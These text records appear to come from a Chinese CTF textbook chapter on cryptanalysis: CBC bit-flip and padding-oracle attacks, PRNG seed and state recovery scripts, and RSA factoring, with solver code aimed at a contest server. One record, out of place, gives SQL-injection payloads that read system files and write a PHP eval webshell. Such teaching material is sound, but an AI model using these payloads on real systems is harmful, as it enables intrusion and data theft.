    {"text": "对于自己破解维吉尼亚密码来说，其实也是词频统计，因为间隔密钥长度的字符使用的替代表是相同的。 所以，如果密文长度足够长，并且知道密钥长度，是可以通过词频统计的方式进行破解的。"},
    {"text": "未知 第21章 现代密码 21.1 分组密码和序列密码 分组密码是将明文消息编码表示后的bit序列，按照固定长度进行分组，在同一密钥控制下用同一算法逐组进行加密，从而将各个明文分组变换成一个长度固定的密文分组的密码。有一种简单的理解方式，古典密码中的替代密码，是对一个字符进行替代，分组密码则是对一个分组进行替代。序列密码是利用一个初始密钥生成一个密钥流，然后依次对明文进行加密。通常，CTF中关于序列密码的考点是如何恢复这个初始密钥。 未知 21.1.1 DES/AES基本加解密 DES属于迭代型分组密码，涉及参数包括分组长度、密钥长度、迭代次数和圈密钥长度。DES的分组长度为64bit，密钥长度为64bit，圈数为16，圈密钥长度为48bit。 AES同属于迭代型分组密码，其分组长度为128bit。当密钥长度为128bit时，圈数为10；当密钥长度为192bit时，圈数为12；当密钥长度为256bit时，圈数为14。 虽然DES现在已经被证明是不安全的，并且已经被成功攻击，但是在CTF题目中一般不会出考察关于机器性能的题目，不会去暴力破解DES或者AES。如果题目真的是寻找DES或者AES的密文，那么其一般会有一个隐藏的、颇费脑力才能解开的密钥。 在DES和AES中，有两种加解密模式：一种模式是ECB模式，一种模式是CBC模式。关于这两种模式的异同点会在下文中重点介绍，这里只需要知道CBC模式的加密会比ECB模式的加密多一个初始向量IV即可。 在Python中，我们使用PyCrypto进行DES/AES的加解密，这里选取AES进行介绍（DES的方法与之相同），代码如下： from Crypto.Cipher import AES m=\"flag{aes_666666}\" key=\"1234567890abcdef\" iv=\"fedcba0987654321\" cipher = AES.new(key, AES.MODE_CBC, iv) c=cipher.encrypt(m) print c.encode(\"hex\") cipher = AES.new(key, AES.MODE_CBC, iv) m=cipher.decrypt(c) print m 输出结果如下： f5e6826d043126e68533c613a78e8618 flag{aes_666666} 因为密文里面包含不可见字符，所以在输出时使用了hex编码。"},
    {"text": "未知 21.1.2 分组密码CBC bit翻转攻击 首先来了解两种加密模式。 ·ECB：一种基础的加密模式，密文被分割成分组长度相等的块（若不足则补齐），然后单独逐个加密，并逐个输出组成密文。 ·CBC：一种循环模式，前一个分组的密文与当前分组的明文进行异或操作后再加密，这样做的目的是增强破解难度。 在CBC模式下，明文分组并与前一组密文进行异或操作的模式造就了CBC模式的bit翻转攻击。 在CBC模式的密文中，在不知道密钥的情况下，如果我们有一组明密文，就可以通过修改密文，来使密文解密出来的特定位置的字符变成我们想要的字符了。 原理很简单，首先我们进行一次完整的AES的CBC模式的加密，代码如下： from Crypto.Cipher import AES m=\"hahahahahahahaha=1;admin=0;uid=1\" key=\"1234567890abcdef\" iv=\"fedcba0987654321\" cipher = AES.new(key, AES.MODE_CBC, iv) c=cipher.encrypt(m) print c.encode(\"hex\") 输出结果如下： 49a98685a527bdfa4077c400963a4e3c9effb4148566f10bce9e07ccbb731896 在CBC模式的加密过程中，明文长度是32字节，16字节为一组，实际上是被分成了两组，如下： 在CBC模式下首先对第一组进行加密，并与初始向量iv进行异或操作，再对第二组进行加密，并与第一组的密文进行异或操作。因为第二组加密后与第一组进行异或操作了，所以，可以利用异或操作来进行明文的修改。 首先，我们找到想要修改的位置： =1;admin=0;uid=1 我们想要将admin=0改成admin=1，也就是将第二组的第10个字符从“0”变成“1”。已知分组密码的明文和密文的长度都是相同的，都是两组，而第二组的第10个字符的密文异或过第一组的第10个字符的密文，如果我们通过异或“0”再异或“1”，那么在解密的时候，“0”异或“0”就变成了0，也就是说，明文就变成了“1”。下面使用Python写一个攻击的函数，代码如下： def cbc_bit_attack_mul(c,m,position,target): l = len(position) r=c for i in range(l): change=position[i]-16 tmp=chr(ord(m[position[i]])^ord(target[i])^ord(c[change])) r=r[0:change]+tmp+r[change+1:] return r 其中c是密文，m是明文，position和target是两个长度相同的list，position代表想要改变的字符在明文中的位置（从0开始），target代表想要改变的字符。使用此函数进行攻击，代码如下： from Crypto.Cipher import AES m=\"hahahahahahahaha=1;admin=0;uid=1\" key=\"1234567890abcdef\" iv=\"fedcba0987654321\" cipher = AES.new(key, AES.MODE_CBC, iv) c=cipher.encrypt(m) print c.encode(\"hex\") def cbc_bit_attack_mul(c,m,position,target): l = len(position) r=c for i in range(l): change=position[i]-16 tmp=chr(ord(m[position[i]])^ord(target[i])^ord(c[change])) r=r[0:change]+tmp+r[change+1:] return r c_new=cbc_bit_attack_mul(c,m,[16+10-1],['1']) cipher = AES.new(key, AES.MODE_CBC, iv) m=cipher.decrypt(c_new) print m 输出结果如下： 可以看到，通过对攻击获取到的c_new进行解密后，admin的值成功变成了1，但是，第一组的明文变成了乱码。通常，如果CTF赛题的考点是bit翻转攻击的话，那么第一组的明文一般是无关紧要的，所以可以不用考虑这个乱码的问题。 未知 21.1.3 分组密码CBC选择密文攻击 通过CBC模式选择密文攻击，可以很快恢复出AES的向量IV。CBC模式下，明文每次加密前都会与IV异或，每组IV都会更新为上一组的密文。如果构造两个相同的C，也就是待解密的密文为C|C时，那么我们得到的密文是通过如下步骤得到的： Decrypt(C)^C=M 1 Decrypt(C)^IV=M 0 所以： Decrypt(C)^C^Decrypt(C)^IV=M 1 ^M 0 IV=M 1 ^M 0 ^C 即可获得IV。 def cbc_chosen_cipher_recover_iv(cc,mm): assert cc[0:16]==cc[16:32] def _xorstr(a, b): s = \"\" for i in range(16): s += chr(ord(a[i]) ^ ord(b[i])) return s p0=mm[0:16] p1=mm[16:32] return _xorstr(_xorstr(p0, p1), cc[0:16]) print cbc_chosen_cipher_recover_iv(\"1\"*32,\"3eXZvNanqYff/kGAyqkXJ4Wi1eaC78ffnZAU0JX/Q2Q=\".decode(\"base64\")) 输出结果如下： iv=key_is_danger"},
    {"text": "未知 21.1.4 分组密码CBC padding oracle攻击 分组密码CBC模式的padding oracle攻击需要满足如下特定条件： 1）加密时采用了PKCS5的填充（填充的数值是填充的字符个数）； 2）攻击者可以和服务器进行交互，可以获取密文，服务器会以某种返回信息告知客户端的padding是否正常。 攻击效果是在不清楚key和IV的时候解密任意给定的密文。 padding oracle攻击是利用服务器通过对padding检查时的不同回显进行的。这是一种侧信道攻击。利用服务器对padding的检查，可以从末位开始逐位爆破明文。 在CBC模式下对某一个block C 2 的解密是根据如下算式进行的：M 2 =D k (C 2 )^C 1 。可以在C 2 前拼接一个我们构造的F，向服务器发送F|C 2 解密。因此爆破最后一位明文的流程如下： 1）枚举M 2 的最后一位x； 2）构造F的最后一位为x^1； 3）发送并观察padding的判断结果是否正确，若错误则返回1。 使用以上方法的原因是，当F的最后一位为x^1时，如果x的值和M 2 的最后一位相同，那么，在解密的时候有：D k (C 2 )[-1]^x^1=1，为padding的长度，进而可以确认D k (C 2 )[-1]的值。同理依次可以逆推出倒数第二位，第三位。 未知 21.1.5 Feistel结构分析 在Feistel结构中，如果右边的加密是线性的话，那么可以实现已知明文攻击。分析如下题目： import os def xor(a,b): assert len(a)==len(b) c=\"\" for i in range(len(a)): c+=chr(ord(a[i])^ord(b[i])) return c def f(x,k): return xor(xor(x,k),7) def round(M,K): L=M[0:27] R=M[27:54] new_l=R new_r=xor(xor(R,L),K) return new_l+new_r def fez(m,K): for i in K: m=round(m,i) return m K=[] for i in range(7): K.append(os.urandom(27)) m=open(\"flag\",\"rb\").read() assert len(m)<54 m+=os.urandom(54-len(m)) test=os.urandom(54) print test.encode(\"hex\") print fez(test,K).encode(\"hex\") print fez(m,K).encode(\"hex\") 我们可以看到F函数就是简单的L^R^k，并且只有7轮，那么我们列出7轮密钥和明密文的关系，可以很容易推理出k的值，然后用k再去异或密文就可以得到flag。 def xor(a,b): assert len(a)==len(b) c=\"\" for i in range(len(a)): c+=chr(ord(a[i])^ord(b[i])) return c m1=\"c8b84d08e5a8e60a49578f387fff5a90e9e7c181734bf05be4f5403c9ea24a0b8741a329991637e11fa69019cd3b01d7c95b65f5abd5\".decode(\"hex\") c1=\"5c3660c27cb9b3785a5ce06022e88bc831017e882d39475ea85d919ad9e5ac498f86c553216cab1f8f7468353d46ba8971efa9ca8c81\".decode(\"hex\") c2=\"519ab6fc0e435da00516b844f8fe664bfe9445992f478dc650701739a11ffda5bbeb643159d7e8cd03a2104c798a1ca734b905ee6c76\".decode(\"hex\") #m1=\"a58d3c144a0a43268de2ef69c550f795cc73fe0edc9026c624c95653c06b71e17abbab4e78c61040fecd88a5df302c7e379930451298\".decode(\"hex\") #c1=\"060bbfdccd57baef9f7c712be4546f8a63d12abd9b9c2e4a853046f072089125b691790a7b30e31506c22f25f231496945fb7ad4cea3\".decode(\"hex\") #c2=\"9101661585e8e39fde9cdaee916763c7781a5688ce868e09750efea4919e2d5467ed4bb518072bc3015884962cf9cb7039339cc82be7\".decode(\"hex\") c1l=c1[0:27] c1r=c1[27:54] c2l=c2[0:27] c2r=c2[27:54] m1l=m1[0:27] m1r=m1[27:54] r=xor(xor(c1l,c2l),m1r) print r.encode(\"hex\") print xor(c1r,xor(m1r,xor(m1l,xor(c2r,r)))) print r 未知 2.10 SQL读写文件 在了解了SQL注入方法与过滤绕过的方法之后，我们再来看一下如何用SQL语句来读写系统文件。有一些比赛题目存在SQL注入漏洞，但是flag并不在数据库中，这时候就需要考虑是否要读取文件或是写Shell来进一步进行渗透。 这里依旧以MySQL数据库为例，在MySQL用户拥有File权限的情况下，可以使用load_file和into outfile/dumpfile进行读写。 我们假设一个题目存在注入的SQL语句，代码如下： select username from user where uId = $id 此时，我们就可以构造读文件的Payload了，代码如下： ?id=-1+union+select+load_file('/etc/hosts') 在某些需要绕过单引号的情况下，还可以使用文件名的十六进制作为load_file函数的参数，如： ?id=-1+union+select+load_file(0x2f6574632f686f737473) 如果题目给出或通过其他漏洞泄露了flag文件的位置，则可以直接读取flag文件；若没有给出，则可以考虑读取常见的配置文件或敏感文件，如MySQL的配置文件、Apache的配置文件、.bash_history等。 此外，如果题目所考察的点并不是通过SQL读取文件，则可以考虑是否能通过SQL语句进行写文件，包括但不限于Webshell、计划任务等。写文件的Payload如下： ?id=-1+union+select+'<?php eval($_POST[233]);?>'+into+outfile '/var/www/html/shell.php' 或： ?id=-1+union+select+unhex(一句话Shell的十六进制)+into+dumpfile '/var/www/html/shell.php' 这里需要注意的是，写文件的时候除了要确定有写文件的权限，还要确定目标文件名不能是已经存在的，尝试写入一个已存在的文件将会直接报错。 此外，在权限足够高的时候，还可以写入UDF库执行系统命令来进一步扩大攻击面。"},
    {"text": "未知 21.1.6 攻击伪随机数发生器 序列密码的设计思想是将种子密钥通过密钥流生成器产生的伪随机序列（也称为乱数序列）与明文简单结合生成密文。"},
    {"text": "观察如下题目： class Unbuffered(object): def __init__(self, stream): self.stream = stream def write(self, data): self.stream.write(data) self.stream.flush() def __getattr__(self, attr): return getattr(self.stream, attr) import sys sys.stdout = Unbuffered(sys.stdout) import signal signal.alarm(600) import random import time flag=open(\"/root/level0/flag\",\"r\").read() random.seed(int(time.time())) def check(): recv=int(raw_input()) if recv==random.randint(0,2**64): print flag return True else: print \"tql\" return False while 1: if check(): break 该题目中使用了int(time.time())作为种子，这是很容易爆破的，那么我们可以根据当前时间向前逆推，实现爆破。 攻击代码如下： from zio import * import time import random target=(\"47.74.44.24\",10000) io=zio(target) def getstream(times): for i in range(times-1): random.randint(0, 2 ** 64) return random.randint(0, 2 ** 64) times=0 now=int(time.time())+10 while 1: now-=1 times+=1 seed=random.seed(now) io.writeline(str(getstream(times))) if \"atum\" not in io.readline(): break 除了爆破种子外，还有其他的攻击方式。"},
    {"text": "首先我们简单介绍一下伪随机数发生器中常常使用的一种结构，如图21-1所示。 图21-1 伪随机数发生器结构示意图 当种子被输入后，通过某种算法会生成state0到staten，通过另外一种算法，每个state可以生成我们的output。"},
    {"text": "以java.util.Random为例，首先它使用48bit的seed作为初态，然后state之间的变换函数为： next_state=(state*multiplier+addend)mod(2^precision) 其中： multiplier=25214903917 addend=11 precision=48 这是一个线性变换，而state到output的变换方式为向右移动16个bit。"},
    {"text": "图21-2 伪随机数发生器结构示意图2 那么它的攻击思路如图21-3所示。 图21-3 伪随机数发生器攻击示意图 因为从state到output的过程中出现了信息损失，我们可以通过联立两个output的函数的方式，逆推出state，然后就可以预测后续所有的随机数。"},
    {"text": "考虑如下题目： class Unbuffered(object): def __init__(self, stream): self.stream = stream def write(self, data): self.stream.write(data) self.stream.flush() def __getattr__(self, attr): return getattr(self.stream, attr) import sys sys.stdout = Unbuffered(sys.stdout) import signal signal.alarm(600) import os os.chdir(\"/root/level1\") flag=open(\"flag\",\"r\").read() import subprocess o = subprocess.check_output([\"java\", \"Main\"]) tmp=[] for i in o.split(\"\\n\")[0:3]: tmp.append(int(i.strip())) v1=tmp[0] % 0xffffffff v2=tmp[1] % 0xffffffff v3=tmp[2] % 0xffffffff print v1 print v2 v3_get=int(raw_input()) if v3_get==v3: print flag 攻击代码如下： from zio import * import time import random target=(\"47.74.44.24\",10001) io=zio(target) v1=int(io.readline().strip()) v2=int(io.readline().strip()) def liner(seed): return ((seed*25214903917+11) & 0xffffffffffff) for i in range(0xffff+1): seed=v1*65536+i if liner(seed)>>16 == v2: print seed print liner(liner(seed))>>16 io.writeline(str(liner(liner(seed))>>16)) print io.readline() 还有一种更加复杂的随机数生成方式，MTrand，这也是Python中常用的。"},
    {"text": "图21-4 MTrand伪随机数发生器结构示意图 从state计算output的过程如图21-5所示。 图21-5 MTrand伪随机数发生器产生output示意图 在这个过程中，首先state到output的过程是完全可逆的。"},
    {"text": "代码如下： class Unbuffered(object): def __init__(self, stream): self.stream = stream def write(self, data): self.stream.write(data) self.stream.flush() def __getattr__(self, attr): return getattr(self.stream, attr) import sys sys.stdout = Unbuffered(sys.stdout) import os os.chdir(\"/root/level2\") from random import * while 1: a=raw_input(\"#\") target=getrandbits(32) if a!=str(target): print target else: print open(\"flag\",\"rb\").read() 攻击方法如下： from zio import * target=(\"47.74.44.24\",10002) io=zio(target) getlist=[] for i in range(624): print i io.read_until(\"#\") io.writeline(\"1\") getlist.append(int(io.readline().strip())) import libprngcrack r=libprngcrack.crack_prng(getlist) io.read_until(\"#\") io.writeline(str(r.getrandbits(32))) io.interact() 其中libprngcrack.py可以在我们的git仓库中找到。"},
    {"text": "未知 21.2 公钥密码 前面介绍的几种类型的密码有一个共同的特点，就是加密密钥与解密密钥是相同的，不同之处是密钥的使用方法，也就是说通信的双方持有的密钥是相同的，这样才能一方加密传输，一方解密获得信息。但是这样就会存在一个密钥分配的问题，即密钥是怎样分给通信双方的呢？Diffie和Hellman在1976年的论文《密码学的新方向》中提出了全新的密码思想，即一个密码体制中的加密密钥和解密密钥不同，其中，加密密钥是公开的，解密密钥是保密的，且由公开的加密密钥难以推出保密的解密密钥。这种密码体制称为公开密钥密码体制，也称为公钥密码体制。 公钥密码体制的算法很多，所有的公钥算法都是基于某个困难的数学问题而产生的，其中，最受CTF青睐的就是RSA了。学习RSA，首先需要具备一定的数论知识，否则很难理解透彻。 未知 21.2.1 RSA基础 Alice向Bob广播了一句信息：“Bob老师，我有重要情况汇报！” Bob很聪明，他知道Alice发现了什么但是不能通过广播的方式直接汇报，于是他立即生成了两个大素数p和q，通过乘法计算出了n=p*q，并取了一个合适的素数，通常是e=65537。此时Bob掌握着4个数字(n,e,p,q)，并且广播通信，向所有人包括Alice传递了一个信息(n,e)，注意(n,e)就是加密密钥。当然攻击者Cat现在也通过广播通信截取到了(n,e)。 Alice拿到(n,e)之后，首先将重要情况信息通过hex和padding转换成一串数字m，然后进行一次计算得到了c：c=m e mod n。转换成Python就是： c=pow(m,e,n) 此时，Alice掌握了四个数字(c,m,e,n)，并通过广播通信将c传给Bob，此时攻击者Cat也监听到了c，那么Alice、Bob、Cat所掌握的信息分别如下： Alice c,m,e,n Bob c,e,n,p,q Cat c,e,n Bob比Cat多掌握了p和q的值，Bob通过计算e关于n的欧拉函数的逆元，可以求出d，即满足e*d=1 mod(n)，(n)是n的欧拉函数，又因为n=p*q，所以(n)=(p-1)*(q-1)。这里可以通过扩展的欧几里得算法求出d，在primefac包中有如下算式： import primefac d=primefac.modinv(e,(p-1)*(q-1))%((p-1)*(q-1)) 所以Bob又多掌握了一个d，通过d可以进行如下计算m=c d mod n。转化为Python代码，如下所示： m=pow(c,d,n) 至此，Bob通过hex处理，掌握了Alice的情报。而对于Cat来说，由于他们没有掌握p和q的值，所以无法计算出d，从而无法解密c得到m。 (d,n)即为此密码的私钥。 整个通信过程请牢记，下面针对RSA的攻击会围绕这个过程来进行。 有的时候攻击可能不会直接给出数字，这时可以使用openssl的命令来读取pem文件中的信息。查看公钥文件的命令如下： openssl rsa -pubin -in pubkey.pem -text -modulus 解密结果如下： rsautl -decrypt -inkey private.pem -in flag.enc -out flag"},
    {"text": "未知 21.2.2 直接模数分解 在前文的通信过程中，n=p*q是所有计算的模数。Bob比Cat多知道的情报就是p和q，而说Cat无法破译出密码是因为Cat无法知道p和q的值，也正是因为通过分解n计算出p和q是一件很困难的事情，这就是有名的大数分解难题。 但是，如果n取值过小，Cat可以通过爆破的手段分解得到p和q，从而就可以轻而易举地破解出密文了。 在现实生活中，一般认为2048bit以上的n是安全的，但是在CTF竞赛中，并不会让选手破解那么长的n，通常n会小于等于256bit。这种情况下就要推出神器yafu，一个有名的开源模数分解神器（ https://sourceforge.net/projects/yafu/ ）。 PyCrypto中提供了用于生成大素数、素性检测等的函数，代码如下： from Crypto.Util.number import long_to_bytes,bytes_to_long,getPrime,isPrime print isPrime(getPrime(1024)) 输出结果如下： 1 下面我们生成两个大素数，并计算其乘积： from Crypto.Util.number import long_to_bytes,bytes_to_long,getPrime,isPrime p=getPrime(128) q=getPrime(128) n=p*q print p print q print n 输出结果如下： 102543140947308319247809743928685897903 61018158290670105343444420109232399649 6256993605945354279979074310942065756850337682319572399209620615130907036047 getPrime的参数是要生成的大素数的bit位。我们用命令行打开yafu，并使用factor(n)来分解n，如图21-6所示。 图21-6 yafu使用方法示意图 由图21-6可以得知，使用yafu很快即可分解成功。下面我们通过一道例题来介绍一个完整的攻击流程。在CTF的题目中，选手往往是作为Cat这一方，在没有私钥，只有公钥的情况下来获取明文。也就是说，我们目前掌握的信息如下： n=41376961156168948196303384218941117367850019509202049026037168194982219784159 e=65537 c=4161293100530874836836422603625206824589693933040432789074054165274087272587 题目中只给出了(n,e,c)三者的信息，为了能够计算出d从而解出c，我们必须要将n分解。继续使用yafu进行分解，如图21-7所示。 我们使用yafu成功分解了n，接下来使用分解出的p和q来计算d，从而解得明文m，代码如下： 图21-7 yafu使用方法示意图2 from Crypto.Util.number import long_to_bytes,bytes_to_long,getPrime,isPrime import primefac def modinv(a,n): return primefac.modinv(a,n) % n #from problem n=41376961156168948196303384218941117367850019509202049026037168194982219784159 e=65537 c=4161293100530874836836422603625206824589693933040432789074054165274087272587 #from yafu p=130451115685568383270871808144053983073 q=317183651045971246384245233153006206783 #calc d=modinv(e,(p-1)*(q-1)) m=pow(c,d,n) print long_to_bytes(m) 输出结果如下： flag(rsa_256bit_brute) 在将m转换为字符串的时候，我们使用了PyCrypto提供的long_to_bytes函数。"},
    {"text": "未知 21.2.3 费马分解和Pollard_rho分解 前文中可以直接将n分解成功的原因是Bob选择的两个大素数太小了，导致可以被爆破。即使选择p和q计算出的n很大，也会因为p和q差距过远或者过于接近而产生问题。 我们都知道n=p*q，其中，p和q都是大素数，也就是奇数，这样必定存在a和b，使得a=(p+q)/2，b=(p-q)/2，n=a 2 -b 2 。这时我们通过枚举大于n的完全平方数，就可以分解n。这种方法适用于p和q的差距很小的情况，这样b=(p-q)/2的值就很小，可以在一个很短的时间内分解完毕。以上就是费马分解的原理。 Pollard_rho分解则与之相反，Pollard_rho算法的原理就是通过某种方法得到两个整数a和b，计算p=gcd(a-b,n)，直到p不为1，或者a、b出现循环为止。然后再判断p是否为n，如果p=n成立，那么返回n是一个质数，否则返回p是n的一个因子，接着，我们又可以递归地计算Pollard(p)和Pollard(n/p)，这样，我们就可以求出n的所有质因子了。具体操作中，我们通常使用函数 来逐步迭代计算a和b的值，实践中，通常取c为1，即b=a 2 +1，在下一次计算中，将b的值赋给a，再次使用上式来计算新的b的值，当a、b出现循环时，即可退出并进行判断。在实际计算中，a和b的值最终肯定会出现一个循环，而如果用光滑的曲线将这些值连接起来，则可以近似地看成是一个ρ型的。对于Pollard_rho，它可以在O(sqrt(p))的时间复杂度内找到n的一个小因子p，所以当n的两个素因子差距过大，即有一方过小的话都可以通过Pollard_rho进行分解。 在题目中是看不出是否可以使用以上两种分解方法的，因为你只能看到n的大小。不过幸运的是，yafu已经集成了上述两种分解方法，我们可以在做题的时候进行尝试。示例数据如下： n=40003963084931664837928689702805869527008665552550339099966039783655241478271793221934708351067146540431087045575578735452562033981331477428866676346892609408693370640750666094586030306611707290485539584897620500431213781096229928738155244930076610522526011344788529872573418170482451512833863359887844080223 e=65537 c=4546795133990879205450002148351829823639584652544166879344560474495259600337435671735004817390664109544308490105926502308966705116695535035592562727138662665331619216044921203883820538271801091964447504549710165940597953216235244043231059097231625318446199638824950598194974747402699552746346829359679622002 使用yafu进行分解，如图21-8所示。 图21-8 yafu使用方法示意图3 由图21-8可知，使用yafu很快即可分解完毕，我们可以看到即使n的长度是1024bit的，也会由于其中一个素因子太小而导致成功分解。分解成功后，我们利用分解出的p和q计算出d，进而求得如下明文： from Crypto.Util.number import long_to_bytes,bytes_to_long,getPrime,isPrime import primefac def modinv(a,n): return primefac.modinv(a,n) % n n=40003963084931664837928689702805869527008665552550339099966039783655241478271793221934708351067146540431087045575578735452562033981331477428866676346892609408693370640750666094586030306611707290485539584897620500431213781096229928738155244930076610522526011344788529872573418170482451512833863359887844080223 e=65537 c=4546795133990879205450002148351829823639584652544166879344560474495259600337435671735004817390664109544308490105926502308966705116695535035592562727138662665331619216044921203883820538271801091964447504549710165940597953216235244043231059097231625318446199638824950598194974747402699552746346829359679622002 p=2216926567 q=18044784919992194237585989334578563660204747572295361057832476137066041790220376398211438074695212284147383328992141008273893825361573862824688985896794753602992647361219820726062881047431512552434281683132367144586261697813029063103899933971099643790107555395987335773839106223531693331380363831369 d=modinv(e,(p-1)*(q-1)) m=pow(c,d,n) print long_to_bytes(m) 结果输出如下： flag{yafu_is_great} 我们再来看一道例题，题目提供的信息如下： n=3161262255255421133292506694323988711204792818702640666084331634444148712428915950639954540974469931426618702044672318134908678730641981414037034058320359158246813987154679178159391832232990193738454116371045928434239936027006539348488316754611586659587677659791620481200732564068367148541242426533823626586574915275209508300120574819113851895932912208783915652764568319771482309338434364094681579135086703127977870534715039005822312878739611630155714313119545610939253355808742646891815442758660278514976431521933763272615653261044607041876212998883732724662410197038419721773290601109065965674129599626151139566369 e=65537 c=631583911592660652215412683088688785438938386403323323131247534561958531288570612134139288090533619548876156447498627938626419617968918299212863936839701943643735437264304062828205809984533592547599060829451668240569384130130080928292082888526567902695707215660020201392640388518379063244487204881439591813398495285025704285781072987024698133147354238702861803146548057736756003294248791827782280722670457157385205787259979804892966529536902959813675537028879407802365439024711942091123058305460856676910458268097798532901040050506906141547909766093323197363034959926900440420805768716029052885452560625308314284406 这里n是2048bit，同样也适用于利用yafu进行分解，如图21-9所示。 由图21-9可以看出，即使p和q都很大，都是1024bit，也会由于两者之间差距的太小，从而在很快的时间内被分解出来。后续工作不必多说，与前面的相同，代码如下： from Crypto.Util.number import long_to_bytes,bytes_to_long,getPrime,isPrime import primefac def modinv(a,n): return primefac.modinv(a,n) % n n=3161262255255421133292506694323988711204792818702640666084331634444148712428915950639954540974469931426618702044672318134908678730641981414037034058320359158246813987154679178159391832232990193738454116371045928434239936027006539348488316754611586659587677659791620481200732564068367148541242426533823626586574915275209508300120574819113851895932912208783915652764568319771482309338434364094681579135086703127977870534715039005822312878739611630155714313119545610939253355808742646891815442758660278514976431521933763272615653261044607041876212998883732724662410197038419721773290601109065965674129599626151139566369 图21-9 yafu使用方法示意图4 e=65537 c=631583911592660652215412683088688785438938386403323323131247534561958531288570612134139288090533619548876156447498627938626419617968918299212863936839701943643735437264304062828205809984533592547599060829451668240569384130130080928292082888526567902695707215660020201392640388518379063244487204881439591813398495285025704285781072987024698133147354238702861803146548057736756003294248791827782280722670457157385205787259979804892966529536902959813675537028879407802365439024711942091123058305460856676910458268097798532901040050506906141547909766093323197363034959926900440420805768716029052885452560625308314284406 p=56225103425920179745019828423382255030086226600783237398582720244250840205090747144995470046432814267877822949968612053620215667790366338413979256357713975498764498045710766375614107934719809398451422359883451257033337168560937824719275885709824193760523306327217910106187213556299122895037021898556005848447 q=56225103425920179745019828423382255030086226600783237398582720244250840205090747144995470046432814267877822949968612053620215667790366338413979256357713975498764498045710766375614107934719809398451422359883451257033337168560937824719275885709824193760523306327217910106187213556299122895037021898556005848927 d=modinv(e,(p-1)*(q-1))%((p-1)*(q-1)) m=pow(c,d,n) print long_to_bytes(m) 结果输出如下： flag{yafu_is_great_2} 未知 21.2.4 公约数模数分解 如果Alice和Bob之间进行了两次消息传递的过程，且Bob不小心在两次通信中生成的大素数有一个是相同的，那么Cat就可以通过对两次通信的n进行求公约数的计算进而分解出两次通信的n。示例数据如下： n1=20738684819333548643191606154039112721439040675563306544625610909152027142345256262044893684039033760000345977227424255285988276861540874795272459885167107786711703072061037153346655860470716109813270970850484359246596333995482370527386351240478391323324528003628936781466053608725537623942740662936457390959060237568952795905984480747252131953431486919915454767666173211766324971698216729056823719403935948246337025169136328423690760181754201413129998612840290312288870691831451331041035467130371628700808661866849510093563933041998781857605089430254020646589100840668279175307364268614722979502349459733201313546503 e1=65537 c1=10090071772506699356786817523796638879795767956430881122259413581074147487255697901583915872785212226386740804827031504209013873678271195490184347976909726113849992567822732157901385759397285354278581100781103793501095790350579211837202869075148545917946318684882307466012864770911316092169851618822067233715426324048255853708450136404819266324205387044518115007295318784925546421927454569531083129940396100397500370100209536940952970102117541579218613344705063697081553171695308476917272505352835269504338531141476596188545187942246478960128160164215522712217334328256482344238841803967431362175455511277916355166899 n2=8786943631445618907285673578128969065736407845231978676063517743990149971676108590838018478141539267830135297388946338133118212501753995881728323505028022046681892852390275287578455892948420022401725924370391459133256442791171090767044083995998801191405341251943486452967754059226625932411826416078823933001491318960906984915240483169327050095599908132247012527635762389099349506096964924979658397390303632051436652851864517075326335258047336448737074832375662685357471901942613707493194883688141285652944494050725201823425363699537027265328300525799788818915926941670469334797614788843342658967211459367897335358473 e2=65537 c2=2376551337745495498143783836277905001359434157198875983392352023653607956661119590940353134537809948406199264950807793814467908135189088355697785995909979521012650621199555373370092020230056650644191695731622240605564238060013790626918092343022945758900319577845906202131059334831755086808000264738974511885291809342237068425531476274334194179741298917802236690469954206288086549174681813931598960921390785087102754534749899379867108150767902748565046767786034338660373855710245844554905441305478943537774211805862142044160564509820005472808015696120569279067519522505841771038640641946630692512034529992860041798564 这种攻击情况通常适用于多组加密过程，并且e为65537，同时n都很大的情况。下面对n 1 和n 2 进行gcd计算，代码如下： import primefac n1=20738684819333548643191606154039112721439040675563306544625610909152027142345256262044893684039033760000345977227424255285988276861540874795272459885167107786711703072061037153346655860470716109813270970850484359246596333995482370527386351240478391323324528003628936781466053608725537623942740662936457390959060237568952795905984480747252131953431486919915454767666173211766324971698216729056823719403935948246337025169136328423690760181754201413129998612840290312288870691831451331041035467130371628700808661866849510093563933041998781857605089430254020646589100840668279175307364268614722979502349459733201313546503 n2=8786943631445618907285673578128969065736407845231978676063517743990149971676108590838018478141539267830135297388946338133118212501753995881728323505028022046681892852390275287578455892948420022401725924370391459133256442791171090767044083995998801191405341251943486452967754059226625932411826416078823933001491318960906984915240483169327050095599908132247012527635762389099349506096964924979658397390303632051436652851864517075326335258047336448737074832375662685357471901942613707493194883688141285652944494050725201823425363699537027265328300525799788818915926941670469334797614788843342658967211459367897335358473 print primefac.gcd(n1,n2) 结果输出如下： 138208427362519321415796957719893409115158845620691465306429847756182160793457792813274524318954977765983352345599351851847522651053763764408505742877046122880607112556561553947348312144520937951670858255004254249125124519847923450697994182336796590877082479065096323414024512145988695828388117148558948090639 通过最大公约数的计算得到了n 1 和n 2 都有一个共同的素因子p，那么接下来的工作就简单了。通过n 1 、n 2 分别去除素因子p，可以成功分解n 1 和n 2 ，后续步骤与之前一样。下面解密两段密文，代码如下： from Crypto.Util.number import long_to_bytes,bytes_to_long,getPrime,isPrime import primefac def modinv(a,n): return primefac.modinv(a,n) % n n1=20738684819333548643191606154039112721439040675563306544625610909152027142345256262044893684039033760000345977227424255285988276861540874795272459885167107786711703072061037153346655860470716109813270970850484359246596333995482370527386351240478391323324528003628936781466053608725537623942740662936457390959060237568952795905984480747252131953431486919915454767666173211766324971698216729056823719403935948246337025169136328423690760181754201413129998612840290312288870691831451331041035467130371628700808661866849510093563933041998781857605089430254020646589100840668279175307364268614722979502349459733201313546503 n2=8786943631445618907285673578128969065736407845231978676063517743990149971676108590838018478141539267830135297388946338133118212501753995881728323505028022046681892852390275287578455892948420022401725924370391459133256442791171090767044083995998801191405341251943486452967754059226625932411826416078823933001491318960906984915240483169327050095599908132247012527635762389099349506096964924979658397390303632051436652851864517075326335258047336448737074832375662685357471901942613707493194883688141285652944494050725201823425363699537027265328300525799788818915926941670469334797614788843342658967211459367897335358473 p1=primefac.gcd(n1,n2) p2=p1 q1=n1/p1 q2=n2/p2 e1=65537 e2=65537 d1=modinv(e1,(p1-1)*(q1-1)) d2=modinv(e2,(p2-1)*(q2-1)) m1=pow(c1,d1,n1) m2=pow(c2,d2,n2) print long_to_bytes(m1) print long_to_bytes(m2) 结果输出如下： flag{first_part} flag{second_part}"},
